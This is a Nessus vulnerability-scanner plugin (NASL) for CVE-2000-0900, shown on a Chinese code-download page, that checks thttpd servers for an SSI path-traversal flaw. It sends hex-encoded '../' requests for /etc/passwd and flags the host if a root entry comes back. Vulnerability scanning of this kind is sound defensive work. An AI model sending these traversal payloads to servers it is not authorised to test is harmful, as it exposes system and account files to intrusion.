⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 thttpd_ssi.nasl

📁 漏洞扫描源码,可以扫描linux,windows,交换机路由器
💻 NASL
字号:
## This script was written by Thomas Reinke <reinke@cvs.nessus.org>## See the Nessus Scripts License for details#if(description){ script_id(10523); script_bugtraq_id(1737); script_version ("$Revision: 38 $"); script_cve_id("CVE-2000-0900");  name["english"] = "thttpd ssi file retrieval"; script_name(english:name["english"]);  desc["english"] = "The remote HTTP serverallows an attacker to read arbitrary fileson the remote web server,  by employing aweakness in an included ssi package, byprepending pathnames with %2e%2e/ (hex-encoded ../) to the pathname.Example:    GET /cgi-bin/ssi//%2e%2e/%2e%2e/etc/passwd will return /etc/passwd.Solution: upgrade to version 2.20 of thttpd.Risk factor : High"; script_description(english:desc["english"]);  summary["english"] = "thttpd ssi flaw"; script_summary(english:summary["english"]);  script_category(ACT_GATHER_INFO);   script_copyright(english:"This script is Copyright (C) 2000 Thomas Reinke"); family["english"] = "Remote file access"; script_family(english:family["english"]); script_dependencie("find_service.nes", "http_version.nasl"); script_require_ports("Services/www", 80); script_exclude_keys("Settings/disable_cgi_scanning"); exit(0);}## The script code starts here#include("http_func.inc");include("http_keepalive.inc");port = get_http_port(default:80);if(!get_port_state(port))exit(0);foreach dir (cgi_dirs()){ buf = http_get(item:string(dir, "/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"),        port:port); rep = http_keepalive_send_recv(port:port, data:buf); if( rep == NULL ) exit(0); if(egrep(pattern:".*root:.*:0:[01]", string:rep)){ 	security_hole(port);	exit(0);	}}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -